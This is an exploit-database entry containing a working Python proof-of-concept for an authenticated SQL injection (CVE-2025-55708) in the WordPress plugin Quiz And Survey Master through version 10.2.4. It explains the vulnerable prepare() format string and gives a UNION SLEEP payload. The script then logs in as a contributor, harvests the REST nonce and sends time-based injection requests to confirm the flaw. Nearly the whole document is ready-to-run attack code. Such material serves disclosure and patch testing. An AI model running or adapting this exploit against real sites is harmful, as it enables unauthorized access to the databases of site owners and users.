Share
## https://sploitus.com/exploit?id=PACKETSTORM:226455
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Quiz And Survey Master <= 10.2.4 - Authenticated (Contributor+) SQL Injection (REST)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/quiz-master-next/
# Software Link: https://downloads.wordpress.org/plugin/quiz-master-next.10.2.3.zip
# Version: 10.2.3 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-55708
"""
Quiz And Survey Master <= 10.2.4 registers REST route
GET /wp-json/quiz-survey-master/v1/bank_questions/<id> (php/rest-api.php, permission_callback
current_user_can('edit_qsm_quizzes') โ a capability the plugin grants to the Contributor role).
The callback splices the `search` parameter into the prepare() FORMAT STRING (php/rest-api.php ~177):
$search = sanitize_text_field( wp_unslash($_REQUEST['search']) );
$search_sql .= " AND (question_settings LIKE '%$search%' OR question_name LIKE '%$search%')";
$query = $wpdb->prepare("SELECT COUNT(question_id) ... quiz_id LIKE %s $search_sql", $quiz_filter);
Because $search is inside the prepare() template (not an argument), its single quote survives ->
SQL injection in a single-quoted LIKE. sanitize_text_field keeps quotes/parens; the value is
un-slashed so a single %27 suffices (no %2527).
Payload closes the LIKE and appends a UNION so the delay fires regardless of table contents:
zzz%') UNION SELECT SLEEP(5)-- -
Prior state: any Contributor account. The `edit_qsm_quizzes` cap is auto-added to the Contributor
role the first time a contributor loads wp-admin, so the PoC logs in and loads /wp-admin/ once, then
harvests the wp_rest nonce from admin-ajax rest-nonce.
"""
import argparse, sys, time, urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--user", default="qmncontrib")
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
ap.add_argument("--sleep", type=int, default=5)
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
s.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
"redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
s.get(base + "/wp-admin/") # triggers the edit_qsm_quizzes capability grant
nonce = s.get(base + "/wp-admin/admin-ajax.php?action=rest-nonce").text.strip()
if not nonce or nonce == "0":
print("[-] login failed / no wp_rest nonce"); return 1
print(f"[*] Target: {base} | user: {args.user} | wp_rest nonce: {nonce}")
def probe(sec):
inj = "zzz%') UNION SELECT SLEEP(" + str(sec) + ")-- -"
url = base + "/wp-json/quiz-survey-master/v1/bank_questions/1?search=" + urllib.parse.quote(inj)
t = time.time()
r = s.get(url, headers={"X-WP-Nonce": nonce}, timeout=60)
return time.time() - t, r.status_code
t0, c0 = probe(0)
t5, c5 = probe(args.sleep)
print(f"[*] SLEEP(0): {t0:.2f}s (http {c0}) | SLEEP({args.sleep}): {t5:.2f}s (http {c5})")
if c5 == 200 and (t5 - t0) >= args.sleep - 1.5:
print(f"\n[+] SQL INJECTION CONFIRMED โ contributor-controlled SLEEP({args.sleep}) delayed the "
f"response by {t5 - t0:.2f}s (search param, bank_questions REST route).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())